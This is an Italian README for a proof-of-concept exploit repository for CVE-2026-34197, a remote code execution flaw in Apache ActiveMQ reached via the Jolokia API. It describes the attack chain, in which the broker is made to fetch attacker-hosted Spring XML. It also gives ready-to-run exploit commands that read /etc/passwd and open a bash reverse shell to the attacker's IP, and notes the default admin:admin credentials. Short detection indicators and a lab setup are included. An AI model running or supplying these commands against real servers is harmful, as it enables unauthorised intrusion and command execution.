
Proof-of-concept exploit per CVE-2026-34197, una RCE in Apache ActiveMQ tramite l'API Jolokia. Include un exploit in Python, un template di payload e un laboratorio Docker per test e ricerca.
CVE-2026-34197 è una vulnerabilità di esecuzione remota di codice (RCE) in Apache ActiveMQ Classic che consente a un attaccante di eseguire comandi arbitrari sul sistema operativo del server tramite l'API Jolokia esposta nella console web.
La vulnerabilità esiste da oltre 13 anni e risiede nell'interazione tra più componenti: Jolokia (ponte HTTP-JMX), gli MBean di ActiveMQ, i connettori di rete e il trasporto VM.
| Campo | Dettaglio |
|---|
| CVE ID | CVE-2026-34197 |
| Tipo | RCE (Remote Code Execution) |
| CWE | CWE-20 (Validazione di input errata), CWE-94 (Iniezione di codice) |
| Versioni affette | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Versioni corrette | 5.19.4, 6.2.3 |
| Autenticazione richiesta | Sì (credenziali predefinite admin:admin comuni) |
| Senza autenticazione in | 6.0.0 — 6.1.1 (per CVE-2024-32114) |
| Porta predefinita | 8161 (console web) |
La catena di attacco funziona così:
/api/jolokia/ invocando l'operazione addNetworkConnector dell'MBean del broker.vm:// che fa riferimento a un broker inesistente.brokerConfig che punta a un URL remoto.xbean: indica che la risorsa è un file di configurazione Spring XML.Runtime.getRuntime().exec().Attaccante ActiveMQ (vittima)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATTACCANTE/x.xml)|
| |
| |-- Crea broker VM
| |-- Scarica x.xml
|<-- GET /x.xml --------------------|
|-- Risponde con payload XML ------>|
| |-- Spring istanzia bean
| |-- Runtime.exec(COMANDO)
| |
CVE-2026-34197/
├── README.md # Questo file
├── exploit.py # PoC principale
├── payloads/
│ └── template.xml # Template del payload Spring XML
├── docker/
│ └── docker-compose.yml # Ambiente di laboratorio vulnerabile
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Questo avvia un ActiveMQ Classic 5.18.6 vulnerabile su localhost:8161.
# Utilizzo base con credenziali predefinite
python exploit.py -t http://TARGET:8161 -l IP_ATTACCANTE -c "id"
# Specificare le credenziali
python exploit.py -t http://TARGET:8161 -l IP_ATTACCANTE -c "whoami" -u admin -p admin
# Specificare la porta del server HTTP del payload
python exploit.py -t http://TARGET:8161 -l IP_ATTACCANTE -lp 9999 -c "cat /etc/passwd"
# Modalità senza autenticazione (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://TARGET:8161 -l IP_ATTACCANTE -c "id" --no-auth
# Shell inversa
python exploit.py -t http://TARGET:8161 -l IP_ATTACCANTE -c "bash -i >& /dev/tcp/IP_ATTACCANTE/4444 0>&1"
| Parametro | Descrizione |
|---|---|
-t, --target | URL di base del target (es: http://10.0.0.1:8161) |
-l, --lhost | IP dell'attaccante per servire il payload XML |
-lp, --lport | Porta del server HTTP locale (predefinita: 8888) |
-c, --command | Comando da eseguire sul target |
-u, --user | Utente (predefinito: admin) |
-p, --password | Password (predefinita: admin) |
--no-auth | Non inviare credenziali (per versioni 6.0.0 - 6.1.1) |
--broker-name | Nome del broker (predefinito: localhost) |
Indicatori nei log del broker ActiveMQ:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Altri indicatori:
/api/jolokia/ con addNetworkConnector nel corpovm:// con brokerConfig=xbean:httpCreato da KONDOR DEV SECURITY
Questo PoC è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza. L'uso di questo strumento contro sistemi senza autorizzazione esplicita è illegale. L'autore non è responsabile dell'uso improprio di questo strumento.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY